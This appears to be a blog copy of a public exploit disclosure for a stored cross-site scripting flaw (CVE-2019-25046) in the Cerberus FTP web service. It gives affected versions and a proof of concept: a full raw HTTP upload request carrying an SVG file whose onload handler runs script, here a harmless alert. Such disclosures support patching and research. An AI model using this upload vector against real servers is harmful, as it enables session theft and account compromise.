Tuesday, June 29, 2021

Cerberus FTP web Service 11 - 'svg' Stored Cross-Site Scripting (XSS)

# Exploit Title: Cerberus FTP web Service 11 - 'svg' Stored Cross-Site Scripting (XSS)
# Date: 08/06/2021
# Exploit Author: Mohammad Hossein Kaviyany
# Vendor Homepage: www.cerberusftp.com
# Software Link: https://www.cerberusftp.com/download/
# Version:11.0 releases prior to 11.0.4, 10.0 releases prior to 10.0.19, 9.0 and earlier
# Tested on: windows server 2016
# CVE: CVE-2019-25046
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About Cerberus FTP Server (From Vendor Site) :     
                                
Cerberus FTP Server is a secure Windows file server with FTP, FTPS, SFTP, HTTPS, 
FIPS 140-2 validated, and Active Directory and LDAP authentication.
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Exploit Detailes :

This stored XSS bug happens when a user uploads an svg file with the following content :
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

Exploit POC :

# Vulnerable Path : /file/upload
# Parameter: files (POST)
# Vector: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

#Payload:  

POST /file/upload HTTP/1.1
Host: target.com
Connection: close
Content-Length: 484
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAAM6ZtOAsyklo6JG
Origin: https://target.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/file/d/home/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cftpSID=U02_5UCTumW3vFtt5PrlWwoD4k9ccxW0A87oCM8-jsM

------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="cd"

/home
------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="csrftoken"

z-Zlffq0sPaJErxOsMgL4ITcW1x3AuZo3XlZRP5GcKg
------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="files[]"; filename="file.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

------WebKitFormBoundaryAAM6ZtOAsyklo6JG--

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